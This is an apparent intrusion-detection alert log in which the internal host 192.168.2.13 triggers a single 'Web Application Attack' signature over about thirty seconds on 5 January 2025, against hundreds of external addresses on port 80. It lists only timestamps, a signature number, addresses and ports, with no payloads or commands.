2025-01-05T14:35:24.562507+0100	2030092	1	Web Application Attack	192.168.2.13	35914	101.33.15.182	80	TCP
2025-01-05T14:35:24.577840+0100	2030092	1	Web Application Attack	192.168.2.13	34404	167.86.240.3	80	TCP
2025-01-05T14:35:24.605296+0100	2030092	1	Web Application Attack	192.168.2.13	52286	218.226.185.104	80	TCP
2025-01-05T14:35:24.607002+0100	2030092	1	Web Application Attack	192.168.2.13	51538	203.230.101.226	80	TCP
2025-01-05T14:35:24.656006+0100	2030092	1	Web Application Attack	192.168.2.13	56628	103.216.228.120	80	TCP
2025-01-05T14:35:25.559412+0100	2030092	1	Web Application Attack	192.168.2.13	46780	8.68.178.189	80	TCP
2025-01-05T14:35:25.560881+0100	2030092	1	Web Application Attack	192.168.2.13	48150	87.250.95.34	80	TCP
2025-01-05T14:35:25.561049+0100	2030092	1	Web Application Attack	192.168.2.13	52556	14.23.12.113	80	TCP
2025-01-05T14:35:25.576564+0100	2030092	1	Web Application Attack	192.168.2.13	47124	201.192.131.27	80	TCP
2025-01-05T14:35:25.590574+0100	2030092	1	Web Application Attack	192.168.2.13	41036	116.217.8.159	80	TCP
2025-01-05T14:35:25.818697+0100	2030092	1	Web Application Attack	192.168.2.13	57960	195.140.30.201	80	TCP
2025-01-05T14:35:25.818697+0100	2030092	1	Web Application Attack	192.168.2.13	47194	51.91.237.162	80	TCP
2025-01-05T14:35:25.818716+0100	2030092	1	Web Application Attack	192.168.2.13	47260	99.204.194.2	80	TCP
2025-01-05T14:35:25.818728+0100	2030092	1	Web Application Attack	192.168.2.13	41862	203.160.148.137	80	TCP
2025-01-05T14:35:25.818751+0100	2030092	1	Web Application Attack	192.168.2.13	46980	211.75.202.126	80	TCP
2025-01-05T14:35:25.818760+0100	2030092	1	Web Application Attack	192.168.2.13	47000	201.107.214.31	80	TCP
2025-01-05T14:35:25.818785+0100	2030092	1	Web Application Attack	192.168.2.13	53330	150.253.74.175	80	TCP
2025-01-05T14:35:25.818832+0100	2030092	1	Web Application Attack	192.168.2.13	41546	98.75.149.53	80	TCP
2025-01-05T14:35:25.818851+0100	2030092	1	Web Application Attack	192.168.2.13	52818	78.164.17.37	80	TCP
2025-01-05T14:35:25.818853+0100	2030092	1	Web Application Attack	192.168.2.13	59416	171.119.81.29	80	TCP
2025-01-05T14:35:25.818872+0100	2030092	1	Web Application Attack	192.168.2.13	36744	192.121.107.204	80	TCP
2025-01-05T14:35:25.818879+0100	2030092	1	Web Application Attack	192.168.2.13	51962	58.229.51.169	80	TCP
2025-01-05T14:35:25.818929+0100	2030092	1	Web Application Attack	192.168.2.13	39986	101.8.220.134	80	TCP
2025-01-05T14:35:25.818941+0100	2030092	1	Web Application Attack	192.168.2.13	37582	112.69.235.165	80	TCP
2025-01-05T14:35:25.818967+0100	2030092	1	Web Application Attack	192.168.2.13	47498	52.203.81.149	80	TCP
2025-01-05T14:35:25.902914+0100	2030092	1	Web Application Attack	192.168.2.13	56868	53.13.245.147	80	TCP
2025-01-05T14:35:25.933436+0100	2030092	1	Web Application Attack	192.168.2.13	52424	208.53.123.28	80	TCP
2025-01-05T14:35:26.558587+0100	2030092	1	Web Application Attack	192.168.2.13	46816	112.1.174.23	80	TCP
2025-01-05T14:35:26.608361+0100	2030092	1	Web Application Attack	192.168.2.13	49964	220.202.128.100	80	TCP
2025-01-05T14:35:26.628722+0100	2030092	1	Web Application Attack	192.168.2.13	33392	174.41.253.174	80	TCP
2025-01-05T14:35:26.652313+0100	2030092	1	Web Application Attack	192.168.2.13	43024	195.118.87.15	80	TCP
2025-01-05T14:35:26.653951+0100	2030092	1	Web Application Attack	192.168.2.13	42086	190.33.161.85	80	TCP
2025-01-05T14:35:26.689632+0100	2030092	1	Web Application Attack	192.168.2.13	39550	1.68.91.176	80	TCP
2025-01-05T14:35:26.718659+0100	2030092	1	Web Application Attack	192.168.2.13	50198	87.172.73.249	80	TCP
2025-01-05T14:35:26.964641+0100	2030092	1	Web Application Attack	192.168.2.13	45880	64.215.97.153	80	TCP
2025-01-05T14:35:26.966450+0100	2030092	1	Web Application Attack	192.168.2.13	51132	148.157.180.197	80	TCP
2025-01-05T14:35:26.984134+0100	2030092	1	Web Application Attack	192.168.2.13	33394	187.32.110.182	80	TCP
2025-01-05T14:35:26.997837+0100	2030092	1	Web Application Attack	192.168.2.13	39160	81.114.0.14	80	TCP
2025-01-05T14:35:27.002554+0100	2030092	1	Web Application Attack	192.168.2.13	43680	114.24.182.202	80	TCP
2025-01-05T14:35:27.622788+0100	2030092	1	Web Application Attack	192.168.2.13	37048	112.45.192.227	80	TCP
2025-01-05T14:35:27.884242+0100	2030092	1	Web Application Attack	192.168.2.13	42046	218.250.88.5	80	TCP
2025-01-05T14:35:28.810205+0100	2030092	1	Web Application Attack	192.168.2.13	60968	71.165.247.212	80	TCP
2025-01-05T14:35:29.222457+0100	2030092	1	Web Application Attack	192.168.2.13	53302	194.164.72.143	80	TCP
2025-01-05T14:35:29.609269+0100	2030092	1	Web Application Attack	192.168.2.13	36660	120.208.70.62	80	TCP
2025-01-05T14:35:29.808526+0100	2030092	1	Web Application Attack	192.168.2.13	37562	184.87.62.165	80	TCP
2025-01-05T14:35:29.863349+0100	2030092	1	Web Application Attack	192.168.2.13	49442	117.192.154.253	80	TCP
2025-01-05T14:35:29.875375+0100	2030092	1	Web Application Attack	192.168.2.13	35870	174.80.238.146	80	TCP
2025-01-05T14:35:29.888763+0100	2030092	1	Web Application Attack	192.168.2.13	42640	57.123.69.145	80	TCP
2025-01-05T14:35:29.892387+0100	2030092	1	Web Application Attack	192.168.2.13	43230	153.128.158.155	80	TCP
2025-01-05T14:35:30.855805+0100	2030092	1	Web Application Attack	192.168.2.13	45714	208.94.177.129	80	TCP
2025-01-05T14:35:30.872889+0100	2030092	1	Web Application Attack	192.168.2.13	43082	205.16.247.198	80	TCP
2025-01-05T14:35:30.876945+0100	2030092	1	Web Application Attack	192.168.2.13	44544	79.247.228.250	80	TCP
2025-01-05T14:35:31.209988+0100	2030092	1	Web Application Attack	192.168.2.13	44656	185.52.151.162	80	TCP
2025-01-05T14:35:31.873672+0100	2030092	1	Web Application Attack	192.168.2.13	59616	136.94.127.254	80	TCP
2025-01-05T14:35:32.888983+0100	2030092	1	Web Application Attack	192.168.2.13	46292	196.0.233.94	80	TCP
2025-01-05T14:35:33.887094+0100	2030092	1	Web Application Attack	192.168.2.13	58736	19.42.249.78	80	TCP
2025-01-05T14:35:33.889038+0100	2030092	1	Web Application Attack	192.168.2.13	56918	50.147.62.207	80	TCP
2025-01-05T14:35:33.917987+0100	2030092	1	Web Application Attack	192.168.2.13	60398	2.88.62.141	80	TCP
2025-01-05T14:35:33.919925+0100	2030092	1	Web Application Attack	192.168.2.13	35482	138.50.110.119	80	TCP
2025-01-05T14:35:33.933658+0100	2030092	1	Web Application Attack	192.168.2.13	60256	190.0.5.183	80	TCP
2025-01-05T14:35:33.939226+0100	2030092	1	Web Application Attack	192.168.2.13	33078	52.223.136.181	80	TCP
2025-01-05T14:35:34.905293+0100	2030092	1	Web Application Attack	192.168.2.13	53150	112.28.28.139	80	TCP
2025-01-05T14:35:34.918359+0100	2030092	1	Web Application Attack	192.168.2.13	38018	169.71.26.187	80	TCP
2025-01-05T14:35:34.918393+0100	2030092	1	Web Application Attack	192.168.2.13	50146	210.218.5.232	80	TCP
2025-01-05T14:35:34.920019+0100	2030092	1	Web Application Attack	192.168.2.13	44806	181.78.170.231	80	TCP
2025-01-05T14:35:34.920033+0100	2030092	1	Web Application Attack	192.168.2.13	57752	123.210.171.12	80	TCP
2025-01-05T14:35:34.920295+0100	2030092	1	Web Application Attack	192.168.2.13	56710	43.30.89.80	80	TCP
2025-01-05T14:35:34.922029+0100	2030092	1	Web Application Attack	192.168.2.13	38216	107.244.138.92	80	TCP
2025-01-05T14:35:34.933788+0100	2030092	1	Web Application Attack	192.168.2.13	57626	181.27.255.42	80	TCP
2025-01-05T14:35:34.933834+0100	2030092	1	Web Application Attack	192.168.2.13	45638	80.65.126.64	80	TCP
2025-01-05T14:35:34.935140+0100	2030092	1	Web Application Attack	192.168.2.13	35210	188.225.169.237	80	TCP
2025-01-05T14:35:34.935322+0100	2030092	1	Web Application Attack	192.168.2.13	40830	14.66.72.101	80	TCP
2025-01-05T14:35:34.937414+0100	2030092	1	Web Application Attack	192.168.2.13	45954	14.205.79.220	80	TCP
2025-01-05T14:35:34.942687+0100	2030092	1	Web Application Attack	192.168.2.13	38036	103.210.167.58	80	TCP
2025-01-05T14:35:34.942818+0100	2030092	1	Web Application Attack	192.168.2.13	52702	180.99.53.219	80	TCP
2025-01-05T14:35:34.952929+0100	2030092	1	Web Application Attack	192.168.2.13	56930	105.46.63.137	80	TCP
2025-01-05T14:35:35.515847+0100	2030092	1	Web Application Attack	192.168.2.13	60042	160.121.124.240	80	TCP
2025-01-05T14:35:35.937554+0100	2030092	1	Web Application Attack	192.168.2.13	55992	115.29.155.164	80	TCP
2025-01-05T14:35:35.950040+0100	2030092	1	Web Application Attack	192.168.2.13	45336	89.70.7.95	80	TCP
2025-01-05T14:35:35.965058+0100	2030092	1	Web Application Attack	192.168.2.13	41686	121.5.127.2	80	TCP
2025-01-05T14:35:35.965080+0100	2030092	1	Web Application Attack	192.168.2.13	34466	79.28.1.23	80	TCP
2025-01-05T14:35:35.965132+0100	2030092	1	Web Application Attack	192.168.2.13	41432	107.111.103.159	80	TCP
2025-01-05T14:35:36.589474+0100	2030092	1	Web Application Attack	192.168.2.13	50702	195.35.132.109	80	TCP
2025-01-05T14:35:36.933886+0100	2030092	1	Web Application Attack	192.168.2.13	42952	124.156.129.95	80	TCP
2025-01-05T14:35:36.933897+0100	2030092	1	Web Application Attack	192.168.2.13	57442	117.219.4.85	80	TCP
2025-01-05T14:35:36.933905+0100	2030092	1	Web Application Attack	192.168.2.13	59796	37.183.32.149	80	TCP
2025-01-05T14:35:36.934470+0100	2030092	1	Web Application Attack	192.168.2.13	41648	125.126.209.5	80	TCP
2025-01-05T14:35:36.935401+0100	2030092	1	Web Application Attack	192.168.2.13	38312	175.85.160.50	80	TCP
2025-01-05T14:35:36.935527+0100	2030092	1	Web Application Attack	192.168.2.13	49036	149.158.121.221	80	TCP
2025-01-05T14:35:36.937355+0100	2030092	1	Web Application Attack	192.168.2.13	38262	175.80.234.157	80	TCP
2025-01-05T14:35:42.011951+0100	2030092	1	Web Application Attack	192.168.2.13	56416	146.218.198.165	80	TCP
2025-01-05T14:35:43.058731+0100	2030092	1	Web Application Attack	192.168.2.13	37022	105.25.160.208	80	TCP
2025-01-05T14:35:43.074414+0100	2030092	1	Web Application Attack	192.168.2.13	46518	102.232.163.9	80	TCP
2025-01-05T14:35:43.074506+0100	2030092	1	Web Application Attack	192.168.2.13	52340	74.181.15.153	80	TCP
2025-01-05T14:35:43.074720+0100	2030092	1	Web Application Attack	192.168.2.13	44106	155.50.238.77	80	TCP
2025-01-05T14:35:43.074722+0100	2030092	1	Web Application Attack	192.168.2.13	47212	83.89.67.112	80	TCP
2025-01-05T14:35:43.076090+0100	2030092	1	Web Application Attack	192.168.2.13	52196	155.200.125.208	80	TCP
2025-01-05T14:35:43.078330+0100	2030092	1	Web Application Attack	192.168.2.13	44614	17.88.70.8	80	TCP
2025-01-05T14:35:43.093811+0100	2030092	1	Web Application Attack	192.168.2.13	51872	205.143.146.97	80	TCP
2025-01-05T14:35:43.094748+0100	2030092	1	Web Application Attack	192.168.2.13	51244	191.97.25.119	80	TCP
2025-01-05T14:35:43.095588+0100	2030092	1	Web Application Attack	192.168.2.13	38034	204.45.198.65	80	TCP
2025-01-05T14:35:43.109526+0100	2030092	1	Web Application Attack	192.168.2.13	53892	88.101.176.113	80	TCP
2025-01-05T14:35:43.110552+0100	2030092	1	Web Application Attack	192.168.2.13	53616	13.174.131.85	80	TCP
2025-01-05T14:35:43.111195+0100	2030092	1	Web Application Attack	192.168.2.13	40702	65.207.111.121	80	TCP
2025-01-05T14:35:43.111276+0100	2030092	1	Web Application Attack	192.168.2.13	59196	136.135.59.46	80	TCP
2025-01-05T14:35:43.503779+0100	2030092	1	Web Application Attack	192.168.2.13	37114	177.128.198.226	80	TCP
2025-01-05T14:35:44.043454+0100	2030092	1	Web Application Attack	192.168.2.13	48066	73.31.118.38	80	TCP
2025-01-05T14:35:44.105887+0100	2030092	1	Web Application Attack	192.168.2.13	57038	148.76.48.135	80	TCP
2025-01-05T14:35:44.140927+0100	2030092	1	Web Application Attack	192.168.2.13	52570	138.120.13.45	80	TCP
2025-01-05T14:35:44.154258+0100	2030092	1	Web Application Attack	192.168.2.13	59074	213.12.187.153	80	TCP
2025-01-05T14:35:44.174049+0100	2030092	1	Web Application Attack	192.168.2.13	34662	210.194.2.98	80	TCP
2025-01-05T14:35:44.673304+0100	2030092	1	Web Application Attack	192.168.2.13	56748	18.138.187.71	80	TCP
2025-01-05T14:35:45.058920+0100	2030092	1	Web Application Attack	192.168.2.13	56152	107.248.155.1	80	TCP
2025-01-05T14:35:45.058920+0100	2030092	1	Web Application Attack	192.168.2.13	39194	212.199.77.43	80	TCP
2025-01-05T14:35:45.059068+0100	2030092	1	Web Application Attack	192.168.2.13	41802	62.182.48.99	80	TCP
2025-01-05T14:35:45.059213+0100	2030092	1	Web Application Attack	192.168.2.13	47836	65.66.176.250	80	TCP
2025-01-05T14:35:45.059215+0100	2030092	1	Web Application Attack	192.168.2.13	46414	206.186.245.246	80	TCP
2025-01-05T14:35:45.059482+0100	2030092	1	Web Application Attack	192.168.2.13	53956	44.214.92.230	80	TCP
2025-01-05T14:35:45.059508+0100	2030092	1	Web Application Attack	192.168.2.13	33216	209.100.246.12	80	TCP
2025-01-05T14:35:45.059752+0100	2030092	1	Web Application Attack	192.168.2.13	54890	95.69.234.223	80	TCP
2025-01-05T14:35:45.060536+0100	2030092	1	Web Application Attack	192.168.2.13	60802	150.32.137.211	80	TCP
2025-01-05T14:35:45.060821+0100	2030092	1	Web Application Attack	192.168.2.13	45120	194.77.208.212	80	TCP
2025-01-05T14:35:45.061789+0100	2030092	1	Web Application Attack	192.168.2.13	60744	172.222.199.150	80	TCP
2025-01-05T14:35:45.074600+0100	2030092	1	Web Application Attack	192.168.2.13	48044	179.49.23.236	80	TCP
2025-01-05T14:35:45.078404+0100	2030092	1	Web Application Attack	192.168.2.13	59430	118.87.16.125	80	TCP
2025-01-05T14:35:45.079272+0100	2030092	1	Web Application Attack	192.168.2.13	37498	94.249.105.57	80	TCP
2025-01-05T14:35:45.079889+0100	2030092	1	Web Application Attack	192.168.2.13	41638	20.210.227.180	80	TCP
2025-01-05T14:35:45.080092+0100	2030092	1	Web Application Attack	192.168.2.13	48466	177.13.252.99	80	TCP
2025-01-05T14:35:45.093845+0100	2030092	1	Web Application Attack	192.168.2.13	43340	194.177.55.165	80	TCP
2025-01-05T14:35:45.123053+0100	2030092	1	Web Application Attack	192.168.2.13	49994	1.230.99.235	80	TCP
2025-01-05T14:35:45.140025+0100	2030092	1	Web Application Attack	192.168.2.13	46928	121.83.38.165	80	TCP
2025-01-05T14:35:45.169971+0100	2030092	1	Web Application Attack	192.168.2.13	46142	193.44.64.235	80	TCP
2025-01-05T14:35:46.111187+0100	2030092	1	Web Application Attack	192.168.2.13	43990	119.246.123.133	80	TCP
2025-01-05T14:35:47.184619+0100	2030092	1	Web Application Attack	192.168.2.13	33786	206.234.12.12	80	TCP
2025-01-05T14:35:47.186637+0100	2030092	1	Web Application Attack	192.168.2.13	60878	152.158.243.142	80	TCP
2025-01-05T14:35:48.254894+0100	2030092	1	Web Application Attack	192.168.2.13	43198	86.101.230.126	80	TCP
2025-01-05T14:35:48.254896+0100	2030092	1	Web Application Attack	192.168.2.13	42256	110.231.201.210	80	TCP
2025-01-05T14:35:48.254900+0100	2030092	1	Web Application Attack	192.168.2.13	37556	47.128.203.200	80	TCP
2025-01-05T14:35:48.254900+0100	2030092	1	Web Application Attack	192.168.2.13	56178	90.95.110.28	80	TCP
2025-01-05T14:35:48.254909+0100	2030092	1	Web Application Attack	192.168.2.13	54508	146.12.127.56	80	TCP
2025-01-05T14:35:48.254919+0100	2030092	1	Web Application Attack	192.168.2.13	45692	195.162.163.228	80	TCP
2025-01-05T14:35:48.254970+0100	2030092	1	Web Application Attack	192.168.2.13	54562	5.252.176.134	80	TCP
2025-01-05T14:35:48.254973+0100	2030092	1	Web Application Attack	192.168.2.13	57524	164.105.79.16	80	TCP
2025-01-05T14:35:48.254973+0100	2030092	1	Web Application Attack	192.168.2.13	38930	154.151.96.81	80	TCP
2025-01-05T14:35:48.254977+0100	2030092	1	Web Application Attack	192.168.2.13	34280	158.218.134.124	80	TCP
2025-01-05T14:35:48.254977+0100	2030092	1	Web Application Attack	192.168.2.13	55728	79.229.34.68	80	TCP
2025-01-05T14:35:48.254987+0100	2030092	1	Web Application Attack	192.168.2.13	45242	36.13.117.7	80	TCP
2025-01-05T14:35:48.255009+0100	2030092	1	Web Application Attack	192.168.2.13	52202	193.87.236.45	80	TCP
2025-01-05T14:35:48.255030+0100	2030092	1	Web Application Attack	192.168.2.13	59232	66.184.239.192	80	TCP
2025-01-05T14:35:48.255031+0100	2030092	1	Web Application Attack	192.168.2.13	52638	25.110.173.102	80	TCP
2025-01-05T14:35:48.255039+0100	2030092	1	Web Application Attack	192.168.2.13	43990	193.161.66.70	80	TCP
2025-01-05T14:35:48.255058+0100	2030092	1	Web Application Attack	192.168.2.13	56980	185.132.245.251	80	TCP
2025-01-05T14:35:48.255063+0100	2030092	1	Web Application Attack	192.168.2.13	39492	36.2.56.177	80	TCP
2025-01-05T14:35:48.255082+0100	2030092	1	Web Application Attack	192.168.2.13	44072	79.130.197.152	80	TCP
2025-01-05T14:35:48.255095+0100	2030092	1	Web Application Attack	192.168.2.13	35526	209.109.25.113	80	TCP
2025-01-05T14:35:49.136945+0100	2030092	1	Web Application Attack	192.168.2.13	46240	126.211.81.117	80	TCP
2025-01-05T14:35:49.140777+0100	2030092	1	Web Application Attack	192.168.2.13	47282	13.8.246.214	80	TCP
2025-01-05T14:35:49.140822+0100	2030092	1	Web Application Attack	192.168.2.13	44482	81.40.104.243	80	TCP
2025-01-05T14:35:49.140902+0100	2030092	1	Web Application Attack	192.168.2.13	60348	84.250.191.109	80	TCP
2025-01-05T14:35:49.142571+0100	2030092	1	Web Application Attack	192.168.2.13	51904	40.27.253.168	80	TCP
2025-01-05T14:35:49.152563+0100	2030092	1	Web Application Attack	192.168.2.13	48512	190.55.254.155	80	TCP
2025-01-05T14:35:49.156412+0100	2030092	1	Web Application Attack	192.168.2.13	56470	161.115.251.43	80	TCP
2025-01-05T14:35:49.187609+0100	2030092	1	Web Application Attack	192.168.2.13	40822	197.199.211.42	80	TCP
2025-01-05T14:35:49.302794+0100	2030092	1	Web Application Attack	192.168.2.13	34032	171.103.144.39	80	TCP
2025-01-05T14:35:49.660692+0100	2030092	1	Web Application Attack	192.168.2.13	33606	58.66.122.205	80	TCP
2025-01-05T14:35:50.152712+0100	2030092	1	Web Application Attack	192.168.2.13	52514	164.148.214.85	80	TCP
2025-01-05T14:35:50.152715+0100	2030092	1	Web Application Attack	192.168.2.13	47178	131.216.140.22	80	TCP
2025-01-05T14:35:50.153484+0100	2030092	1	Web Application Attack	192.168.2.13	38766	136.160.78.230	80	TCP
2025-01-05T14:35:50.154463+0100	2030092	1	Web Application Attack	192.168.2.13	51918	131.146.82.191	80	TCP
2025-01-05T14:35:50.154473+0100	2030092	1	Web Application Attack	192.168.2.13	59568	209.2.254.113	80	TCP
2025-01-05T14:35:50.154603+0100	2030092	1	Web Application Attack	192.168.2.13	39594	43.186.245.206	80	TCP
2025-01-05T14:35:50.156414+0100	2030092	1	Web Application Attack	192.168.2.13	52840	138.175.163.81	80	TCP
2025-01-05T14:35:50.168346+0100	2030092	1	Web Application Attack	192.168.2.13	40734	90.22.182.56	80	TCP
2025-01-05T14:35:50.168426+0100	2030092	1	Web Application Attack	192.168.2.13	48750	112.196.146.175	80	TCP
2025-01-05T14:35:50.168467+0100	2030092	1	Web Application Attack	192.168.2.13	33566	50.117.152.120	80	TCP
2025-01-05T14:35:50.168537+0100	2030092	1	Web Application Attack	192.168.2.13	40822	71.126.105.75	80	TCP
2025-01-05T14:35:50.183957+0100	2030092	1	Web Application Attack	192.168.2.13	53802	17.248.178.191	80	TCP
2025-01-05T14:35:50.187541+0100	2030092	1	Web Application Attack	192.168.2.13	57648	76.104.27.228	80	TCP
2025-01-05T14:35:50.203273+0100	2030092	1	Web Application Attack	192.168.2.13	52336	139.101.156.15	80	TCP
2025-01-05T14:35:50.203445+0100	2030092	1	Web Application Attack	192.168.2.13	40636	110.153.231.1	80	TCP
2025-01-05T14:35:50.204242+0100	2030092	1	Web Application Attack	192.168.2.13	53394	147.111.116.124	80	TCP
2025-01-05T14:35:50.459202+0100	2030092	1	Web Application Attack	192.168.2.13	49342	146.118.70.227	80	TCP
2025-01-05T14:35:51.184027+0100	2030092	1	Web Application Attack	192.168.2.13	49844	185.56.47.148	80	TCP
2025-01-05T14:35:51.184068+0100	2030092	1	Web Application Attack	192.168.2.13	43590	188.182.123.0	80	TCP
2025-01-05T14:35:51.184642+0100	2030092	1	Web Application Attack	192.168.2.13	44114	175.71.205.107	80	TCP
2025-01-05T14:35:51.185735+0100	2030092	1	Web Application Attack	192.168.2.13	52544	58.213.175.91	80	TCP
2025-01-05T14:35:51.187749+0100	2030092	1	Web Application Attack	192.168.2.13	56312	148.233.24.202	80	TCP
2025-01-05T14:35:51.189519+0100	2030092	1	Web Application Attack	192.168.2.13	38530	180.32.234.251	80	TCP
2025-01-05T14:35:51.205143+0100	2030092	1	Web Application Attack	192.168.2.13	51450	87.105.49.23	80	TCP
2025-01-05T14:35:51.239192+0100	2030092	1	Web Application Attack	192.168.2.13	55982	154.86.103.249	80	TCP
2025-01-05T14:35:52.184189+0100	2030092	1	Web Application Attack	192.168.2.13	35356	183.217.115.66	80	TCP
2025-01-05T14:35:52.185776+0100	2030092	1	Web Application Attack	192.168.2.13	53972	194.153.133.9	80	TCP
2025-01-05T14:35:52.199618+0100	2030092	1	Web Application Attack	192.168.2.13	41276	9.153.182.118	80	TCP
2025-01-05T14:35:52.199648+0100	2030092	1	Web Application Attack	192.168.2.13	37028	172.54.216.177	80	TCP
2025-01-05T14:35:52.199840+0100	2030092	1	Web Application Attack	192.168.2.13	47578	201.193.45.222	80	TCP
2025-01-05T14:35:52.199861+0100	2030092	1	Web Application Attack	192.168.2.13	35014	124.75.127.217	80	TCP
2025-01-05T14:35:52.201171+0100	2030092	1	Web Application Attack	192.168.2.13	52070	50.81.190.127	80	TCP
2025-01-05T14:35:52.201239+0100	2030092	1	Web Application Attack	192.168.2.13	46294	68.213.24.211	80	TCP
2025-01-05T14:35:52.201318+0100	2030092	1	Web Application Attack	192.168.2.13	36348	121.240.111.113	80	TCP
2025-01-05T14:35:52.203333+0100	2030092	1	Web Application Attack	192.168.2.13	54400	95.248.11.112	80	TCP
2025-01-05T14:35:52.215150+0100	2030092	1	Web Application Attack	192.168.2.13	53620	72.255.75.86	80	TCP
2025-01-05T14:35:52.215196+0100	2030092	1	Web Application Attack	192.168.2.13	36384	155.93.24.70	80	TCP
2025-01-05T14:35:52.215257+0100	2030092	1	Web Application Attack	192.168.2.13	50524	110.227.91.241	80	TCP
2025-01-05T14:35:52.215341+0100	2030092	1	Web Application Attack	192.168.2.13	37850	175.105.94.26	80	TCP
2025-01-05T14:35:52.218871+0100	2030092	1	Web Application Attack	192.168.2.13	35134	64.155.93.64	80	TCP
2025-01-05T14:35:52.218971+0100	2030092	1	Web Application Attack	192.168.2.13	48104	91.50.22.153	80	TCP
2025-01-05T14:35:52.219052+0100	2030092	1	Web Application Attack	192.168.2.13	37002	197.235.193.122	80	TCP
2025-01-05T14:35:52.219187+0100	2030092	1	Web Application Attack	192.168.2.13	48348	128.70.32.208	80	TCP
2025-01-05T14:35:52.219189+0100	2030092	1	Web Application Attack	192.168.2.13	53908	13.221.44.196	80	TCP
2025-01-05T14:35:52.219299+0100	2030092	1	Web Application Attack	192.168.2.13	37546	134.250.205.146	80	TCP
2025-01-05T14:35:52.220832+0100	2030092	1	Web Application Attack	192.168.2.13	56804	180.169.140.130	80	TCP
2025-01-05T14:35:52.220901+0100	2030092	1	Web Application Attack	192.168.2.13	45574	2.49.73.35	80	TCP
2025-01-05T14:35:52.221026+0100	2030092	1	Web Application Attack	192.168.2.13	60988	152.88.31.1	80	TCP
2025-01-05T14:35:52.234605+0100	2030092	1	Web Application Attack	192.168.2.13	43712	111.26.80.51	80	TCP
2025-01-05T14:35:52.236381+0100	2030092	1	Web Application Attack	192.168.2.13	54306	88.120.241.79	80	TCP
2025-01-05T14:35:52.236383+0100	2030092	1	Web Application Attack	192.168.2.13	33958	46.156.221.234	80	TCP
2025-01-05T14:35:52.236438+0100	2030092	1	Web Application Attack	192.168.2.13	39712	53.184.59.4	80	TCP
2025-01-05T14:35:52.236565+0100	2030092	1	Web Application Attack	192.168.2.13	48744	8.201.20.73	80	TCP
2025-01-05T14:35:52.249463+0100	2030092	1	Web Application Attack	192.168.2.13	35088	91.181.66.11	80	TCP
2025-01-05T14:35:53.217094+0100	2030092	1	Web Application Attack	192.168.2.13	39750	86.148.1.108	80	TCP
2025-01-05T14:35:53.230782+0100	2030092	1	Web Application Attack	192.168.2.13	42842	209.99.144.229	80	TCP
2025-01-05T14:35:53.230969+0100	2030092	1	Web Application Attack	192.168.2.13	59368	109.9.237.120	80	TCP
2025-01-05T14:35:53.233920+0100	2030092	1	Web Application Attack	192.168.2.13	59538	13.112.74.67	80	TCP
2025-01-05T14:35:53.234073+0100	2030092	1	Web Application Attack	192.168.2.13	50726	170.233.248.53	80	TCP
2025-01-05T14:35:53.234605+0100	2030092	1	Web Application Attack	192.168.2.13	44514	75.98.61.237	80	TCP
2025-01-05T14:35:53.236394+0100	2030092	1	Web Application Attack	192.168.2.13	47038	40.63.47.47	80	TCP
2025-01-05T14:35:53.477999+0100	2030092	1	Web Application Attack	192.168.2.13	39636	132.204.175.226	80	TCP
2025-01-05T14:35:54.231017+0100	2030092	1	Web Application Attack	192.168.2.13	39168	100.15.223.173	80	TCP
2025-01-05T14:35:54.232880+0100	2030092	1	Web Application Attack	192.168.2.13	39958	157.87.13.249	80	TCP
2025-01-05T14:35:54.264000+0100	2030092	1	Web Application Attack	192.168.2.13	35984	37.239.16.173	80	TCP
2025-01-05T14:35:54.264097+0100	2030092	1	Web Application Attack	192.168.2.13	55178	160.47.147.222	80	TCP
2025-01-05T14:35:54.264169+0100	2030092	1	Web Application Attack	192.168.2.13	49950	89.95.173.125	80	TCP
2025-01-05T14:35:54.264327+0100	2030092	1	Web Application Attack	192.168.2.13	40162	106.13.106.103	80	TCP
2025-01-05T14:35:54.264426+0100	2030092	1	Web Application Attack	192.168.2.13	40544	108.1.135.118	80	TCP
2025-01-05T14:35:54.265254+0100	2030092	1	Web Application Attack	192.168.2.13	36066	195.16.153.101	80	TCP
2025-01-05T14:35:54.265795+0100	2030092	1	Web Application Attack	192.168.2.13	41568	161.99.89.171	80	TCP
2025-01-05T14:35:54.265897+0100	2030092	1	Web Application Attack	192.168.2.13	36438	104.110.22.107	80	TCP
2025-01-05T14:35:54.267714+0100	2030092	1	Web Application Attack	192.168.2.13	56832	105.215.225.237	80	TCP
2025-01-05T14:35:54.267850+0100	2030092	1	Web Application Attack	192.168.2.13	45386	213.86.123.102	80	TCP
2025-01-05T14:35:54.295057+0100	2030092	1	Web Application Attack	192.168.2.13	35474	205.165.41.239	80	TCP
2025-01-05T14:35:54.298076+0100	2030092	1	Web Application Attack	192.168.2.13	60320	129.215.165.65	80	TCP
2025-01-05T14:35:54.310639+0100	2030092	1	Web Application Attack	192.168.2.13	56314	170.198.251.169	80	TCP
2025-01-05T14:35:54.359729+0100	2030092	1	Web Application Attack	192.168.2.13	50856	36.183.161.33	80	TCP
2025-01-05T14:35:55.262147+0100	2030092	1	Web Application Attack	192.168.2.13	57596	79.76.26.220	80	TCP
2025-01-05T14:35:55.262226+0100	2030092	1	Web Application Attack	192.168.2.13	55018	128.125.140.209	80	TCP
2025-01-05T14:35:55.262316+0100	2030092	1	Web Application Attack	192.168.2.13	42784	178.190.172.115	80	TCP
2025-01-05T14:35:55.262421+0100	2030092	1	Web Application Attack	192.168.2.13	50314	176.176.140.167	80	TCP
2025-01-05T14:35:55.262431+0100	2030092	1	Web Application Attack	192.168.2.13	46818	41.146.234.24	80	TCP
2025-01-05T14:35:55.262532+0100	2030092	1	Web Application Attack	192.168.2.13	38236	188.94.114.230	80	TCP
2025-01-05T14:35:55.263868+0100	2030092	1	Web Application Attack	192.168.2.13	42116	120.195.206.103	80	TCP
2025-01-05T14:35:55.264012+0100	2030092	1	Web Application Attack	192.168.2.13	57808	207.23.131.160	80	TCP
2025-01-05T14:35:55.277796+0100	2030092	1	Web Application Attack	192.168.2.13	46854	84.132.241.213	80	TCP
2025-01-05T14:35:55.277800+0100	2030092	1	Web Application Attack	192.168.2.13	41404	52.175.46.47	80	TCP
2025-01-05T14:35:55.278372+0100	2030092	1	Web Application Attack	192.168.2.13	53348	180.151.154.210	80	TCP
2025-01-05T14:35:55.278627+0100	2030092	1	Web Application Attack	192.168.2.13	49140	185.152.200.159	80	TCP
2025-01-05T14:35:55.278711+0100	2030092	1	Web Application Attack	192.168.2.13	57128	115.51.35.139	80	TCP
2025-01-05T14:35:55.279340+0100	2030092	1	Web Application Attack	192.168.2.13	57834	45.185.235.218	80	TCP
2025-01-05T14:35:55.279801+0100	2030092	1	Web Application Attack	192.168.2.13	55430	175.214.12.172	80	TCP
